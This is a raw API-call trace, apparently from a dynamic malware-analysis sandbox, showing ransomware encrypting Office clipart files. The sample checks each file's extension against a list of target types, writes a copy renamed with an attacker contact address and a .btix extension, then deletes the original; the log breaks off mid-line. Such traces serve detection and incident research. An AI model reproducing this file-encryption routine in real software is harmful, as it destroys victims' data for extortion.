[0151.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.664] lstrlenW (lpString=".zip") returned 4 [0151.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.664] lstrlenW (lpString=".rar") returned 4 [0151.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString=".bz2") returned 4 [0151.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString=".7z") returned 3 [0151.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.664] lstrlenW (lpString=".dbf") returned 4 [0151.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.664] lstrlenW (lpString=".1cd") returned 4 [0151.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.664] lstrlenW (lpString=".jpg") returned 4 [0151.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.664] lstrlenW (lpString=".doc") returned 4 [0151.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString=".docx") returned 5 [0151.664] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.664] lstrlenW (lpString=".pdf") returned 4 [0151.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString=".xls") returned 4 [0151.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.665] lstrlenW (lpString=".xlsx") returned 5 [0151.665] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.665] lstrlenW (lpString=".ppt") returned 4 [0151.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.665] lstrlenW (lpString=".zip") returned 4 [0151.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.665] lstrlenW (lpString=".rar") returned 4 [0151.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString=".bz2") returned 4 [0151.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString=".7z") returned 3 [0151.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.665] lstrlenW (lpString=".dbf") returned 4 [0151.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.665] lstrlenW (lpString=".1cd") returned 4 [0151.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.665] lstrlenW (lpString=".jpg") returned 4 [0151.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.665] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.665] lstrlenW (lpString="J0105272.WMF") returned 12 [0151.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.665] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=17728) returned 1 [0151.666] CloseHandle (hObject=0x374) returned 1 [0151.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220 [0151.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.666] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.666] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.667] GetLastError () returned 0x0 [0151.667] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x4540, lpOverlapped=0x0) returned 1 [0151.668] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x4550, lpOverlapped=0x0) returned 1 [0151.669] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.669] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.669] SetEndOfFile (hFile=0x364) returned 1 [0151.669] CloseHandle (hObject=0x364) returned 1 [0151.669] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.669] SetEndOfFile (hFile=0x374) returned 1 [0151.670] CloseHandle (hObject=0x374) returned 1 [0151.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0151.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.670] lstrlenW (lpString=".doc") returned 4 [0151.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.670] lstrlenW (lpString=".docx") returned 5 [0151.670] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.670] lstrlenW (lpString=".pdf") returned 4 [0151.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.670] lstrlenW (lpString=".xls") returned 4 [0151.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.671] lstrlenW (lpString=".xlsx") returned 5 [0151.671] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.671] lstrlenW (lpString=".ppt") returned 4 [0151.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.671] lstrlenW (lpString=".zip") returned 4 [0151.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.671] lstrlenW (lpString=".rar") returned 4 [0151.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString=".bz2") returned 4 [0151.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString=".7z") returned 3 [0151.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.671] lstrlenW (lpString=".dbf") returned 4 [0151.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.671] lstrlenW (lpString=".1cd") returned 4 [0151.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.671] lstrlenW (lpString=".jpg") returned 4 [0151.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.671] lstrlenW (lpString=".doc") returned 4 [0151.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString=".docx") returned 5 [0151.671] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.671] lstrlenW (lpString=".pdf") returned 4 [0151.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.671] lstrlenW (lpString=".xls") returned 4 [0151.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.671] lstrlenW (lpString=".xlsx") returned 5 [0151.672] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.672] lstrlenW (lpString=".ppt") returned 4 [0151.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.672] lstrlenW (lpString=".zip") returned 4 [0151.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.672] lstrlenW (lpString=".rar") returned 4 [0151.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.672] lstrlenW (lpString=".bz2") returned 4 [0151.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.672] lstrlenW (lpString=".7z") returned 3 [0151.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.672] lstrlenW (lpString=".dbf") returned 4 [0151.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.672] lstrlenW (lpString=".1cd") returned 4 [0151.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0151.672] lstrlenW (lpString=".jpg") returned 4 [0151.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.672] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.672] lstrlenW (lpString="J0105276.WMF") returned 12 [0151.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.672] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=19240) returned 1 [0151.672] CloseHandle (hObject=0x374) returned 1 [0151.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220 [0151.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.673] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.673] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.673] GetLastError () returned 0x0 [0151.674] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x4b28, lpOverlapped=0x0) returned 1 [0151.674] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x4b30, lpOverlapped=0x0) returned 1 [0151.675] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.676] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.676] SetEndOfFile (hFile=0x364) returned 1 [0151.676] CloseHandle (hObject=0x364) returned 1 [0151.676] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.676] SetEndOfFile (hFile=0x374) returned 1 [0151.677] CloseHandle (hObject=0x374) returned 1 [0151.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0151.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.677] lstrlenW (lpString=".doc") returned 4 [0151.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.677] lstrlenW (lpString=".docx") returned 5 [0151.677] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0151.677] lstrlenW (lpString=".pdf") returned 4 [0151.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.677] lstrlenW (lpString=".xls") returned 4 [0151.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.677] lstrlenW (lpString=".xlsx") returned 5 [0151.677] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0151.678] lstrlenW (lpString=".ppt") returned 4 [0151.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.678] lstrlenW (lpString=".zip") returned 4 [0151.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.678] lstrlenW (lpString=".rar") returned 4 [0151.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString=".bz2") returned 4 [0151.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString=".7z") returned 3 [0151.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.678] lstrlenW (lpString=".dbf") returned 4 [0151.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.678] lstrlenW (lpString=".1cd") returned 4 [0151.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.678] lstrlenW (lpString=".jpg") returned 4 [0151.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.678] lstrlenW (lpString=".doc") returned 4 [0151.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString=".docx") returned 5 [0151.678] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0151.678] lstrlenW (lpString=".pdf") returned 4 [0151.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.678] lstrlenW (lpString=".xls") returned 4 [0151.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.679] lstrlenW (lpString=".xlsx") returned 5 [0151.679] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0151.679] lstrlenW (lpString=".ppt") returned 4 [0151.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.679] lstrlenW (lpString=".zip") returned 4 [0151.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.679] lstrlenW (lpString=".rar") returned 4 [0151.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.679] lstrlenW (lpString=".bz2") returned 4 [0151.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.679] lstrlenW (lpString=".7z") returned 3 [0151.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.679] lstrlenW (lpString=".dbf") returned 4 [0151.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.679] lstrlenW (lpString=".1cd") returned 4 [0151.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0151.679] lstrlenW (lpString=".jpg") returned 4 [0151.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.679] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.679] lstrlenW (lpString="J0105280.WMF") returned 12 [0151.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.679] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=11540) returned 1 [0151.680] CloseHandle (hObject=0x374) returned 1 [0151.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220 [0151.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.680] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.680] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.680] GetLastError () returned 0x0 [0151.680] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2d14, lpOverlapped=0x0) returned 1 [0151.681] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2d20, lpOverlapped=0x0) returned 1 [0151.683] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.683] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.683] SetEndOfFile (hFile=0x364) returned 1 [0151.683] CloseHandle (hObject=0x364) returned 1 [0151.683] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.683] SetEndOfFile (hFile=0x374) returned 1 [0151.684] CloseHandle (hObject=0x374) returned 1 [0151.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0151.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.684] lstrlenW (lpString=".doc") returned 4 [0151.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.684] lstrlenW (lpString=".docx") returned 5 [0151.684] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.684] lstrlenW (lpString=".pdf") returned 4 [0151.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.685] lstrlenW (lpString=".xls") returned 4 [0151.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.685] lstrlenW (lpString=".xlsx") returned 5 [0151.685] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.685] lstrlenW (lpString=".ppt") returned 4 [0151.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.685] lstrlenW (lpString=".zip") returned 4 [0151.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.685] lstrlenW (lpString=".rar") returned 4 [0151.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.685] lstrlenW (lpString=".bz2") returned 4 [0151.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.685] lstrlenW (lpString=".7z") returned 3 [0151.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.685] lstrlenW (lpString="C:\\Program Files\\Microsoft 